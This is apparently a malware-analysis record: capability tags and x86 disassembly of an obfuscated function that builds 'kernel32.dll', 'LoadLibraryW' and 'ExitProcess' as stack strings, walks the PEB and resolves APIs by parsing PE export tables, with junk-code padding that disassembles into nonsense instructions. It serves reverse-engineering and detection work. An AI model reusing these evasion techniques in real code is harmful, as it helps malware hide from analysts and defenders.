Function at 0x40991c
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
mov edx, dword [ebp - 0x4cc]
add edx, 1
mov dword [ebp - 0x4cc], edx
push ebx
push esi
add esp, 4
sub ebx, 0x16184
sub ebx, 0x6c0d
jmp 0x407741
and ebx, 0xfc87
pop ebx
push edi
push edx
add esp, 4
jmp 0x407753
xor edi, 0x9666
pop edi
mov eax, dword [ebp - 0x4cc]
sub eax, dword [ebp - 0x3c0]
cmp eax, 0xffffffff
jb 0x4077a2
push edx
sub edx, 0x2a5f
pop edx
push ecx
push ecx
add esp, 4
or ecx, 0x168b6
pop ecx
push eax
xor eax, 0x6de3
pop eax
push ebx
add ebx, 0x10f2c
pop ebx
push ecx
xor ecx, 0x9fc4
add ecx, 0xb98f
pop ecx
jmp 0x4079d0
mov dword [ebp - 0xc08], 7
mov ecx, dword [ebp - 0x4cc]
mov dword [ebp - 0xa68], ecx
push edx
push edi
add esp, 4
sub edx, 0x8ba3
xor edx, 0x59a
pop edx
push ecx
xor ecx, 0xb9cc
call fcn.004077e0
add byte [edx], bh
inc ebx
push eax
xor eax, 0x4a473440
dec ebp
add esp, 4
xor ecx, 0x130b6
pop ecx
mov edx, dword [ebp - 0x14bc]
mov dword [ebp - 0xa64], edx
mov dword [ebp - 0xc0c], 0
mov eax, dword [ebp - 0x4cc]
cmp eax, dword [ebp - 0x14bc]
jne 0x407851
push ebx
push edx
add esp, 4
jmp 0x40781b
sub ebx, 0x11c0d
or ebx, 0x86b4
pop ebx
push esi
push eax
add esp, 4
or esi, 0xe626
sub esi, 0xd65d
sub esi, 0x7326
pop esi
mov ecx, dword [ebp - 0xc0c]
mov dword [ebp - 0x14c4], ecx
jmp 0x407982
cmp dword [ebp - 0xc08], 0
jle 0x407976
push edx
and edx, 0x1477e
pop edx
push ebx
push ecx
add esp, 4
add ebx, 0x111f4
or ebx, 0x7c71
xor ebx, 0x16c9b
call 0x40788c
add byte [edx + 0x4b], cl
cmp esi, dword [ebx]
cmp ecx, dword [esi + esi + 0x33]
inc edi
add esp, 4
pop ebx
mov edx, dword [ebp - 0xa68]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0xa64]
movzx edx, byte [ecx]
cmp eax, edx
je 0x407912
push ebx
call 0x4078b6
add byte [ebp + 0x4b], al
aas
dec edx
dec ecx
dec ebx
inc edx
dec ecx
dec edi
add esp, 4
pop ebx
push eax
sub eax, 0x27b3
jmp 0x4078ca
jmp 0x4078d1
add eax, 0x14508
pop eax
mov eax, dword [ebp - 0xa68]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0xa64]
movzx eax, byte [edx]
cmp ecx, eax
jle 0x4078fa
mov dword [ebp - 0x14c0], 1
jmp 0x407904
mov dword [ebp - 0x14c0], 0xffffffff
mov ecx, dword [ebp - 0x14c0]
mov dword [ebp - 0xc0c], ecx
jmp 0x407976
push ebx
jmp 0x40791c
pop ebx
push edi
push esi
add esp, 4
jmp 0x407929
or edi, 0x93ec
call 0x40793b
add byte [edx + 0x3b], cl
inc edx
cmp dh, byte [esi]
cmp eax, 0xeb04c483
add edi, dword [edi + eax*2]
dec eax
pop edi
mov edx, dword [ebp - 0xc08]
sub edx, 1
mov dword [ebp - 0xc08], edx
mov eax, dword [ebp - 0xa68]
add eax, 1
mov dword [ebp - 0xa68], eax
mov ecx, dword [ebp - 0xa64]
add ecx, 1
mov dword [ebp - 0xa64], ecx
jmp 0x407851
mov edx, dword [ebp - 0xc0c]
mov dword [ebp - 0x14c4], edx
cmp dword [ebp - 0x14c4], 0
jne 0x4079cb
push ecx
push ecx
add esp, 4
or ecx, 0x62b6
jmp 0x40799e
and ecx, 0x2822
pop ecx
push eax
push ebx
add esp, 4
and eax, 0xe4b6
jmp 0x4079b6
add eax, 0xf72a
pop eax
mov eax, dword [ebp - 0x4cc]
mov dword [ebp - 0x3cc], eax
jmp 0x407a0c
jmp 0x407719
push edi
push edx
add esp, 4
xor edi, 0x4992
or edi, 0x6e76
pop edi
push ebx
sub ebx, 0xe1e0
pop ebx
push ecx
push ecx
add esp, 4
sub ecx, 0xe617
pop ecx
push eax
push esi
add esp, 4
xor eax, 0xec72
pop eax
mov dword [ebp - 0x3cc], 0
push edi
add edi, 0x608a
and edi, 0x1766a
call 0x407a27
add byte [edx + 0x35], cl
xor dh, byte [edx]
dec eax
cmp eax, dword [ebp + 0x47]
add esp, 4
call 0x407a3a
add byte [ebx + 0x37], cl
dec esp
inc ebx
aas
inc ecx
cmp eax, dword [edx + 0x38]
dec eax
add esp, 4
pop edi
push edx
push edx
add esp, 4
add edx, 0x89e9
pop edx
push edx
push ecx
add esp, 4
and edx, 0xdbdf
and edx, 0x46ad
pop edx
push esi
add esi, 0xe6cb
or esi, 0x6d48
add esi, 0x8971
pop esi
mov ecx, 1
imul edx, ecx, 0
lea eax, [ebp + edx - 0xb80]
mov dword [ebp - 0x14c8], eax
push ecx
sub ecx, 0x7da1
pop ecx
push edi
sub edi, 0x4f1
sub edi, 0x13afc
jmp 0x407a9f
sub edi, 0xd174
pop edi
push edx
call 0x407ab3
add byte [ebx + eax*2 + 0x3f], al
dec edi
dec eax
inc edx
add esp, 4
pop edx
mov dword [ebp - 0x1fac], 0xffffffff
push edi
push ebx
add esp, 4
or edi, 0x2fad
and edi, 0x1328
call 0x407ae1
add byte [ecx + 0x4e], cl
inc edi
xor al, 0x4c
cmp dword [0xc4833f40], esi
add al, 0x5f
push esi
and esi, 0x15d2
sub esi, 0x88f3
pop esi
mov ecx, dword [ebp - 0x3c0]
mov dword [ebp - 0x4d0], ecx
jmp 0x407b10
mov edx, dword [ebp - 0x4d0]
add edx, 1
mov dword [ebp - 0x4d0], edx
push edi
push esi
add esp, 4
sub edi, 0xb9f6
sub edi, 0x8243
pop edi
push edx
push eax
add esp, 4
call 0x407b33
add byte [edi], bh
xor eax, 0x4f334a37
add esp, 4
jmp 0x407b3b
or edx, 0xee60
pop edx
mov eax, dword [ebp - 0x4d0]
sub eax, dword [ebp - 0x3c0]
cmp eax, 0xffffffff
jb 0x407b8a
push eax
push ebx
add esp, 4
and eax, 0x146de
and eax, 0x1324e
and eax, 0xcb6f
pop eax
push eax
push esi
add esp, 4
xor eax, 0x15bc7
pop eax
push edi
sub edi, 0xb7d8
xor edi, 0x4833
pop edi
jmp 0x407db8
mov dword [ebp - 0xc10], 7
mov ecx, dword [ebp - 0x4d0]
mov dword [ebp - 0xa60], ecx
push edi
push esi
add esp, 4
sub edi, 0x530
jmp 0x407bb2
add edi, 0x699c
pop edi
push ecx
sub ecx, 0x15e56
pop ecx
push edx
push ebx
add esp, 4
jmp 0x407bcb
add edx, 0x171fb
pop edx
mov edx, dword [ebp - 0x14c8]
mov dword [ebp - 0x9f0], edx
mov dword [ebp - 0xc14], 0
mov eax, dword [ebp - 0x4d0]
cmp eax, dword [ebp - 0x14c8]
jne 0x407c39
push ebx
or ebx, 0xb728
sub ebx, 0x1070f
xor ebx, 0x9dce
pop ebx
push eax
push ecx
add esp, 4
xor eax, 0x12430
pop eax
push ecx
push ecx
add esp, 4
and ecx, 0xdac5
or ecx, 0x3e8c
pop ecx
mov ecx, dword [ebp - 0xc14]
mov dword [ebp - 0x14d0], ecx
jmp 0x407d6a
cmp dword [ebp - 0xc10], 0
jle 0x407d5e
push ebx
sub ebx, 0x13b48
call 0x407c5d
add byte [eax + 0x37], dl
dec ebx
cmp dword [ebx], edi
inc eax
cmp al, 0x4d
xor al, 0x3f
add esp, 4
pop ebx
push ebx
push edx
add esp, 4
sub ebx, 0x9cbb
sub ebx, 0x14f81
jmp 0x407c77
pop ebx
mov edx, dword [ebp - 0xa60]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x9f0]
movzx edx, byte [ecx]
cmp eax, edx
je 0x407cfa
push esi
call 0x407c9f
add byte [eax + 0x36], dl
push eax
cmp eax, 0x504c3b4f
push eax
add esp, 4
pop esi
push eax
push ebx
add esp, 4
jmp 0x407cb1
jmp 0x407cb9
add eax, 0x1c24
pop eax
mov eax, dword [ebp - 0xa60]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x9f0]
movzx eax, byte [edx]
cmp ecx, eax
jle 0x407ce2
mov dword [ebp - 0x14cc], 1
jmp 0x407cec
mov dword [ebp - 0x14cc], 0xffffffff
mov ecx, dword [ebp - 0x14cc]
mov dword [ebp - 0xc14], ecx
jmp 0x407d5e
push edx
push esi
add esp, 4
call 0x407d0d
add byte [esi], bh
dec ebx
dec ebx
dec ecx
inc ebp
inc esp
dec ebx
cmp eax, 0x8104c483
ljmp 0x7e8
mov edx, dword [ebp - 0xc14]
mov dword [ebp - 0x14d0], edx
cmp dword [ebp - 0x14d0], 0
jne 0x407db3
push esi
push ecx
add esp, 4
jmp 0x407d80
and esi, 0x130c7
add esi, 0xd637
pop esi
push ebx
push edi
add esp, 4
sub ebx, 0x16905
pop ebx
push ebx
push eax
add esp, 4
add ebx, 0x16d29
pop ebx
mov eax, dword [ebp - 0x4d0]
mov dword [ebp - 0xa5c], eax
jmp 0x407df4
jmp 0x407b01
push edi
add edi, 0x1596f
pop edi
push ecx
xor ecx, 0x9937
or ecx, 0xdb21
add ecx, 0x117ca
pop ecx
push edx
push edx
add esp, 4
jmp 0x407de1
jmp 0x407de9
pop edx
mov dword [ebp - 0xa5c], 0
push esi
push ebx
add esp, 4
add esi, 0x182ae
pop esi
push ebx
push edi
add esp, 4
xor ebx, 0xb5f4
add ebx, 0x272e
or ebx, 0x8adc
pop ebx
push esi
or esi, 0x17788
and esi, 0xafb1
pop esi
mov byte [ebp - 0x804], 0x45
mov byte [ebp - 0x803], 0x78
mov byte [ebp - 0x802], 0x69
mov byte [ebp - 0x801], 0x74
mov byte [ebp - 0x800], 0x50
mov byte [ebp - 0x7ff], 0x72
mov byte [ebp - 0x7fe], 0x6f
mov byte [ebp - 0x7fd], 0x63
mov byte [ebp - 0x7fc], 0x65
mov byte [ebp - 0x7fb], 0x73
mov byte [ebp - 0x7fa], 0x73
mov byte [ebp - 0x7f9], 0
push eax
push ebx
add esp, 4
or eax, 0x162d5
call 0x407e94
add byte [eax], bh
cmp al, 0x3e
aas
cmp byte [ebx + 0x50], al
dec edi
dec esp
add esp, 4
pop eax
push edx
sub edx, 0x646d
xor edx, 0x7043
and edx, 0x139c1
pop edx
mov ecx, 0x6b
mov word [ebp - 0x1628], cx
mov edx, 0x65
mov word [ebp - 0x1626], dx
mov eax, 0x72
mov word [ebp - 0x1624], ax
mov ecx, 0x6e
mov word [ebp - 0x1622], cx
mov edx, 0x65
mov word [ebp - 0x1620], dx
mov eax, 0x6c
mov word [ebp - 0x161e], ax
mov ecx, 0x33
mov word [ebp - 0x161c], cx
mov edx, 0x32
mov word [ebp - 0x161a], dx
mov eax, 0x2e
mov word [ebp - 0x1618], ax
mov ecx, 0x64
mov word [ebp - 0x1616], cx
mov edx, 0x6c
mov word [ebp - 0x1614], dx
mov eax, 0x6c
mov word [ebp - 0x1612], ax
xor ecx, ecx
mov word [ebp - 0x1610], cx
push esi
sub esi, 0xc65c
pop esi
push edi
push ebx
add esp, 4
xor edi, 0x7561
add edi, 0x30e7
pop edi
push eax
push eax
add esp, 4
jmp 0x407f6b
jmp 0x407f70
xor eax, 0xdbd3
pop eax
push esi
xor esi, 0x204c
or esi, 0xc5bd
pop esi
push edx
or edx, 0x8bc9
jmp 0x407f94
pop edx
push edx
xor edx, 0x12dda
add edx, 0x5d6
jmp 0x407fa8
pop edx
mov edx, dword fs:[0x18]
mov dword [ebp - 0x1890], edx
mov eax, dword [ebp - 0x1890]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x1894], ecx
mov edx, dword [ebp - 0x1894]
mov dword [ebp - 0x14d4], edx
push ebx
push edx
add esp, 4
or ebx, 0x62f2
or ebx, 0xad79
call 0x407ff1
add byte [esi], bh
xor al, 0x45
push eax
inc edx
cmp al, 0x42
inc esi
inc ecx
add esp, 4
xor ebx, 0x987a
pop ebx
push edi
add edi, 0x8fc6
pop edi
cmp dword [ebp - 0x14d4], 0
jne 0x40801b
mov dword [ebp - 0x2e0], 0
jmp 0x4082d7
mov eax, dword [ebp - 0x14d4]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0xc20], edx
push ecx
push ecx
add esp, 4
and ecx, 0x9b24
jmp 0x408040
or ecx, 0x17303
xor ecx, 0x4948
pop ecx
push eax
push esi
add esp, 4
xor eax, 0x2e34
xor eax, 0xe668
pop eax
cmp dword [ebp - 0xc20], 0
jne 0x408077
mov dword [ebp - 0x2e0], 0
jmp 0x4082d7
mov eax, dword [ebp - 0xc20]
mov dword [ebp - 0x4d4], eax
push ebx
add ebx, 0x98dd
add ebx, 0x1593
add ebx, 0x9c97
add ebx, 0xa2df
pop ebx
push ecx
push edx
add esp, 4
sub ecx, 0xde97
add ecx, 0xa44d
and ecx, 0xefe4
pop ecx
lea ecx, [ebp - 0x1628]
mov dword [ebp - 0xc1c], ecx
mov edx, dword [ebp - 0x4d4]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0xc18], eax
xor ecx, ecx
mov word [ebp - 0x1f8], cx
xor edx, edx
mov word [ebp - 0x100], dx
push ecx
jmp 0x4080e8
sub ecx, 0x30b8
or ecx, 0x1554e
pop ecx
push ecx
push edi
add esp, 4
jmp 0x408102
jmp 0x408107
add ecx, 0x12a96
or ecx, 0x13b43
pop ecx
mov eax, dword [ebp - 0xc18]
mov cx, word [eax]
mov word [ebp - 0xf7e], cx
mov edx, dword [ebp - 0xc18]
add edx, 2
mov dword [ebp - 0xc18], edx
mov ax, word [ebp - 0xf7e]
mov word [ebp - 0x1f8], ax
mov ecx, dword [ebp - 0xc1c]
mov dx, word [ecx]
mov word [ebp - 0xf80], dx
mov eax, dword [ebp - 0xc1c]
add eax, 2
mov dword [ebp - 0xc1c], eax
mov cx, word [ebp - 0xf80]
mov word [ebp - 0x100], cx
push ecx
add ecx, 0x69b4
xor ecx, 0xb647
and ecx, 0xd528
or ecx, 0x6075
pop ecx
push eax
call 0x408196
add byte [ebp + 0x4f], al
xor bh, byte [ecx]
aaa
cmp cl, byte [edi - 0x7d]
les eax, [ecx + eax*4]
shl byte [ecx + 0x5800005a], 0xf
mov bh, 0x95
add bh, bh
invalid
push eax
push esi
add esp, 4
or eax, 0x5711
add eax, 0x1214e
sub eax, 0x13a6e
pop eax
push edi
xor edi, 0x6b01
or edi, 0x5687
or edi, 0xb849
or edi, 0xd497
pop edi
cmp dword [ebp - 0x2e0], 0
jne 0x408c22
mov edx, 0x6b
mov word [ebp - 0x16cc], dx
mov eax, 0x65
mov word [ebp - 0x16ca], ax
mov ecx, 0x72
mov word [ebp - 0x16c8], cx
mov edx, 0x6e
mov word [ebp - 0x16c6], dx
mov eax, 0x65
mov word [ebp - 0x16c4], ax
mov ecx, 0x6c
mov word [ebp - 0x16c2], cx
mov edx, 0x33
mov word [ebp - 0x16c0], dx
mov eax, 0x32
mov word [ebp - 0x16be], ax
mov ecx, 0x2e
mov word [ebp - 0x16bc], cx
mov edx, 0x64
mov word [ebp - 0x16ba], dx
mov eax, 0x6c
mov word [ebp - 0x16b8], ax
mov ecx, 0x6c
mov word [ebp - 0x16b6], cx
xor edx, edx
mov word [ebp - 0x16b4], dx
push edi
push ebx
add esp, 4
or edi, 0x574
and edi, 0x49a7
add edi, 0x164bb
xor edi, 0x607f
pop edi
push ecx
sub ecx, 0x185d7
pop ecx
push edi
push ecx
add esp, 4
add edi, 0x204
pop edi
mov byte [ebp - 0x820], 0x4c
mov byte [ebp - 0x81f], 0x6f
mov byte [ebp - 0x81e], 0x61
mov byte [ebp - 0x81d], 0x64
mov byte [ebp - 0x81c], 0x4c
mov byte [ebp - 0x81b], 0x69
mov byte [ebp - 0x81a], 0x62
mov byte [ebp - 0x819], 0x72
mov byte [ebp - 0x818], 0x61
mov byte [ebp - 0x817], 0x72
mov byte [ebp - 0x816], 0x79
mov byte [ebp - 0x815], 0x57
mov byte [ebp - 0x814], 0
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1898], eax
mov ecx, dword [ebp - 0x1898]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x189c], edx
mov eax, dword [ebp - 0x189c]
mov dword [ebp - 0x14dc], eax
push esi
call 0x408470
add byte [ebx + 0x4d], cl
dec ebx
inc eax
cmp dword [ebx + 0x4eb04c4], eax
inc edi
cmp eax, 0xc6814147
in eax, 0x30
add byte [eax], al
xor esi, 0x55bd
pop esi
push eax
push eax
add esp, 4
jmp 0x408494
pop eax
cmp dword [ebp - 0x14dc], 0
jne 0x4084ad
mov dword [ebp - 0x6ec], 0
jmp 0x408769
mov ecx, dword [ebp - 0x14dc]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc2c], eax
push esi
or esi, 0x8caf
sub esi, 0xc468
and esi, 0x15a6e
call 0x4084e1
add byte [ecx], bh
dec ebp
cmp al, 0x48
cmp dh, byte [edx]
inc ebp
cmp dword [esi - 0x7d], eax
les eax, [esi + ebx*2]
push ebx
push ecx
add esp, 4
add ebx, 0xe8f8
pop ebx
cmp dword [ebp - 0xc2c], 0
jne 0x408509
mov dword [ebp - 0x6ec], 0
jmp 0x408769
mov ecx, dword [ebp - 0xc2c]
mov dword [ebp - 0x4d8], ecx
push esi
push eax
add esp, 4
call 0x408528
add byte [edx], dh
inc ebx
cmp dword [esi + ecx*2], edi
cmp al, 0x43
xor eax, dword [ebx + 0x6eb04c4]
inc ecx
cmp eax, 0x3f3a473e
or esi, 0x17d01
pop esi
push ecx
jmp 0x408540
sub ecx, 0x13d7c
pop ecx
lea edx, [ebp - 0x16cc]
mov dword [ebp - 0xc28], edx
mov eax, dword [ebp - 0x4d8]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc24], ecx
xor edx, edx
mov word [ebp - 0x1fc], dx
xor eax, eax
mov word [ebp - 0x104], ax
push ecx
add ecx, 0x8376
call 0x408587
add byte [edi + 0x41], cl
inc eax
dec ebx
inc edx
inc esi
add esp, 4
pop ecx
push eax
sub eax, 0x1020e
pop eax
push esi
call 0x4085a2
add byte [edx + 0x3c], cl
dec ebp
dec esi
xor cl, byte [ebx + 0x45]
add esp, 4
pop esi
mov ecx, dword [ebp - 0xc24]
mov dx, word [ecx]
mov word [ebp - 0xf82], dx
mov eax, dword [ebp - 0xc24]
add eax, 2
mov dword [ebp - 0xc24], eax
mov cx, word [ebp - 0xf82]
mov word [ebp - 0x1fc], cx
mov edx, dword [ebp - 0xc28]
mov ax, word [edx]
mov word [ebp - 0xf84], ax
mov ecx, dword [ebp - 0xc28]
add ecx, 2
mov dword [ebp - 0xc28], ecx
mov dx, word [ebp - 0xf84]
mov word [ebp - 0x104], dx
push edx
call 0x40860e
add byte [eax + 0x47], al
dec edi
inc ebp
cmp eax, 0xc4833b39
add al, 0x81
retf 0x3d77
push edx
push ecx
add esp, 4
call 0x40877d
add byte [ebx], bh
inc esi
xor al, byte [ebp + 0x3c]
inc esp
aaa
inc eax
dec ebx
add esp, 4
xor edx, 0x397f
pop edx
push ecx
xor ecx, 0x1698d
xor ecx, 0x2515
or ecx, 0x3a9
pop ecx
cmp dword [ebp - 0x6ec], 0
jne 0x4087e5
push ecx
push ebx
add esp, 4
call 0x4087b9
add byte [esi + 0x33], cl
inc eax
dec esi
dec edx
cmp dword [eax + 0x43], edx
xor eax, 0x4c4834e
call 0x4087cc
add byte [ecx], bh
cmp byte [esi + 0x4e], al
cmp bh, byte [ecx]
aaa
inc ebx
inc eax
add esp, 4
jmp 0x4087d5
pop ecx
mov dword [ebp - 0x738], 0
jmp 0x40930c
push edi
sub edi, 0x16041
sub edi, 0x11e9d
or edi, 0x18125
or edi, 0x688a
pop edi
push edi
push edi
add esp, 4
or edi, 0x16c17
or edi, 0xfde1
or edi, 0x9a77
pop edi
mov eax, dword [ebp - 0x6ec]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x2f8], ecx
mov dword [ebp - 0x6fc], 0
mov edx, dword [ebp - 0x2f8]
mov dword [ebp - 0x14e8], edx
cmp dword [ebp - 0x14e8], 0
jne 0x408856
mov eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], eax
jmp 0x408b47
mov ecx, dword [ebp - 0x14e8]
mov edx, dword [ebp - 0x2f8]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x14ec], edx
jne 0x40887e
mov eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], eax
jmp 0x408b47
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x14ec]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x14f0], ecx
cmp dword [ebp - 0x14f0], 0
jne 0x4088b0
mov edx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], edx
jmp 0x408b47
mov eax, dword [ebp - 0x2f8]
add eax, dword [ebp - 0x14f0]
mov dword [ebp - 0x6f0], eax
jne 0x4088d5
mov ecx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], ecx
jmp 0x408b47
mov edx, dword [ebp - 0x6f0]
mov eax, dword [ebp - 0x2f8]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x18a0], eax
mov ecx, dword [ebp - 0x6f0]
mov edx, dword [ebp - 0x2f8]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x18a4], edx
mov eax, dword [ebp - 0x6f0]
mov ecx, dword [ebp - 0x2f8]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x18a8], ecx
mov dword [ebp - 0x6f4], 0
jmp 0x40892f
mov edx, dword [ebp - 0x6f4]
add edx, 1
mov dword [ebp - 0x6f4], edx
mov eax, dword [ebp - 0x6f0]
mov ecx, dword [ebp - 0x6f4]
cmp ecx, dword [eax + 0x18]
jae 0x408b3b
mov edx, dword [ebp - 0x6f4]
mov eax, dword [ebp - 0x18a0]
mov ecx, dword [ebp - 0x2f8]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x6f8], ecx
mov edx, dword [ebp - 0x6f4]
mov eax, dword [ebp - 0x18a4]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x18a8]
mov eax, dword [ebp - 0x2f8]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x18ac], eax
mov dword [ebp - 0x180], 0
jmp 0x40899f
mov ecx, dword [ebp - 0x180]
add ecx, 1
mov dword [ebp - 0x180], ecx
mov edx, dword [ebp - 0x6f8]
add edx, dword [ebp - 0x180]
movsx eax, byte [edx]
test eax, eax
je 0x408a51
mov ecx, dword [ebp - 0x180]
movsx edx, byte [ebp + ecx - 0x820]
test edx, edx
je 0x408a51
push ecx
xor ecx, 0x75b3
pop ecx
push edx
push esi
add esp, 4
add edx, 0x420e
or edx, 0x166c2
call 0x4089f4
add byte [edi], dh
dec eax
dec ebx
aaa
inc edi
dec eax
push eax
inc ebx
add esp, 4
sub edx, 0x6e95
pop edx
mov eax, dword [ebp - 0x6f8]
add eax, dword [ebp - 0x180]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x180]
movsx eax, byte [ebp + edx - 0x820]
cmp ecx, eax
je 0x408a43
mov ecx, dword [ebp - 0x6f8]
add ecx, dword [ebp - 0x180]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x180]
movsx ecx, byte [ebp + eax - 0x820]
cmp edx, ecx
jne 0x408a4a
jmp 0x408990
jmp 0x408a51
push eax
xor eax, 0xe715
xor eax, 0x360f
add eax, 0x42a0
add eax, 0x3191
pop eax
push ecx
push ebx
add esp, 4
sub ecx, 0xd294
xor ecx, 0x34d0
add ecx, 0x11807
pop ecx
mov edx, dword [ebp - 0x6f8]
add edx, dword [ebp - 0x180]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x180]
movsx edx, byte [ebp + ecx - 0x820]
cmp eax, edx
jne 0x408ab0
mov dword [ebp - 0xc30], 0
jmp 0x408b1f
push ecx
push ebx
add esp, 4
or ecx, 0xa75e
xor ecx, 0x11a79
pop ecx
push eax
and eax, 0x4e93
xor eax, 0x14def
pop eax
push edx
push edx
add esp, 4
xor edx, 0xf65d
xor edx, 0x54d6
pop edx
mov eax, dword [ebp - 0x6f8]
add eax, dword [ebp - 0x180]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x180]
movsx eax, byte [ebp + edx - 0x820]
or eax, 0x20
cmp ecx, eax
jge 0x408b15
mov dword [ebp - 0xc30], 0xffffffff
jmp 0x408b1f
mov dword [ebp - 0xc30], 1
cmp dword [ebp - 0xc30], 0
jne 0x408b36
mov ecx, dword [ebp - 0x18ac]
mov dword [ebp - 0x3c4], ecx
jmp 0x408b47
jmp 0x408920
mov edx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], edx
cmp dword [ebp - 0x3c4], 0
je 0x408c22
push ecx
push eax
add esp, 4
add ecx, 0xa644
add ecx, 0xdd6d
xor ecx, 0x7d0
pop ecx
push esi
or esi, 0x17e1d
pop esi
push ecx
push esi
add esp, 4
add ecx, 0xf612
xor ecx, 0x56b0
pop ecx
mov eax, dword [ebp - 0x3c4]
mov dword [ebp - 0x18b0], eax
push esi
xor esi, 0xf702
pop esi
push edi
push edx
add esp, 4
or edi, 0x174a4
and edi, 0x86a0
jmp 0x408bb1
call 0x408bc0
add byte [ebx + ecx*2], dh
inc eax
inc edi
dec edx
inc ebp
inc edi
xor dh, byte [0x5f04c483]
mov ecx, dword [ebp - 0x18b0]
mov dword [ebp - 0x18b4], ecx
lea edx, [ebp - 0x1628]
push edx
call dword [ebp - 0x18b4]
test eax, eax
jne 0x408c22
push edx
or edx, 0x18027
pop edx
push edx
push ebx
add esp, 4
sub edx, 0xc1b2
and edx, 0x6ff8
pop edx
push ecx
push edx
add esp, 4
sub ecx, 0x6f9f
sub ecx, 0xca41
add ecx, 0x12d0b
pop ecx
mov dword [ebp - 0x738], 0
jmp 0x40930c
push ebx
call 0x408c33
add byte [esi + 0x49], al
aas
cmp esi, dword [ebx]
dec eax
inc edx
cmp dh, byte [0x4c48341]
and ebx, 0x135a8
add ebx, 0xdc17
call 0x408c50
add byte [ebx + 0x33], cl
dec edx
xor eax, dword [eax + 0x37]
dec edx
add esp, 4
pop ebx
mov eax, dword fs:[0x18]
mov dword [ebp - 0x18b8], eax
mov ecx, dword [ebp - 0x18b8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18bc], edx
mov eax, dword [ebp - 0x18bc]
mov dword [ebp - 0x14f4], eax
push ecx
or ecx, 0x1bb9
add ecx, 0x1691
sub ecx, 0xff23
pop ecx
push ecx
push ecx
add esp, 4
and ecx, 0x175f9
or ecx, 0xcf94
or ecx, 0xb1c4
xor ecx, 0x6355
pop ecx
cmp dword [ebp - 0x14f4], 0
jne 0x408cc5
mov dword [ebp - 0x2e0], 0
jmp 0x408f6c
mov ecx, dword [ebp - 0x14f4]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc3c], eax
push edi
push esi
add esp, 4
and edi, 0x1359f
jmp 0x408ce8
sub edi, 0x13e16
pop edi
push ebx
xor ebx, 0x15494
pop ebx
push edi
push esi
add esp, 4
or edi, 0x10fa6
sub edi, 0x11d43
pop edi
cmp dword [ebp - 0xc3c], 0
jne 0x408d21
mov dword [ebp - 0x2e0], 0
jmp 0x408f6c
mov ecx, dword [ebp - 0xc3c]
mov dword [ebp - 0x4dc], ecx
push eax
push eax
add esp, 4
xor eax, 0xc29d
pop eax
push edx
xor edx, 0x1054d
xor edx, 0x1481b
or edx, 0x10122
or edx, 0x177f1
pop edx
push ebx
push ecx
add esp, 4
sub ebx, 0x9613
pop ebx
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc38], edx
mov eax, dword [ebp - 0x4dc]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc34], ecx
xor edx, edx
mov word [ebp - 0x200], dx
xor eax, eax
mov word [ebp - 0x34], ax
push esi
push edi
add esp, 4
jmp 0x408d94
add esi, 0xe103
jmp 0x408da2
or esi, 0x153df
pop esi
push ecx
push edi
add esp, 4
or ecx, 0x11757
xor ecx, 0xdd9c
pop ecx
mov ecx, dword [ebp - 0xc34]
mov dx, word [ecx]
mov word [ebp - 0xf86], dx
mov eax, dword [ebp - 0xc34]
add eax, 2
mov dword [ebp - 0xc34], eax
mov cx, word [ebp - 0xf86]
mov word [ebp - 0x200], cx
mov edx, dword [ebp - 0xc38]
mov ax, word [edx]
mov word [ebp - 0xf88], ax
mov ecx, dword [ebp - 0xc38]
add ecx, 2
mov dword [ebp - 0xc38], ecx
mov dx, word [ebp - 0xf88]
mov word [ebp - 0x34], dx
push esi
push edx
add esp, 4
xor esi, 0xb680
xor esi, 0xacb6
pop esi
push ecx
jmp 0x408e2a
pop ecx
push edx
push esi
add esp, 4
and edx, 0xb427
jmp 0x408e3d
add edx, 0xc0b
pop edx
movzx eax, word [ebp - 0x34]
test eax, eax
jne 0x408e61
movzx ecx, word [ebp - 0x200]
movzx edx, word [ebp - 0x34]
sub ecx, edx
mov dword [ebp - 0x14fc], ecx
jmp 0x408ebb
movzx eax, word [ebp - 0x200]
movzx ecx, word [ebp - 0x34]
cmp eax, ecx
je 0x408d89
movzx edx, word [ebp - 0x200]
xor edx, 0x20
movzx eax, word [ebp - 0x34]
cmp edx, eax
je 0x408d89
movzx ecx, word [ebp - 0x200]
movzx edx, word [ebp - 0x34]
cmp ecx, edx
jge 0x408ea5
mov dword [ebp - 0x14f8], 0xffffffff
jmp 0x408eaf
mov dword [ebp - 0x14f8], 1
mov eax, dword [ebp - 0x14f8]
mov dword [ebp - 0x14fc], eax
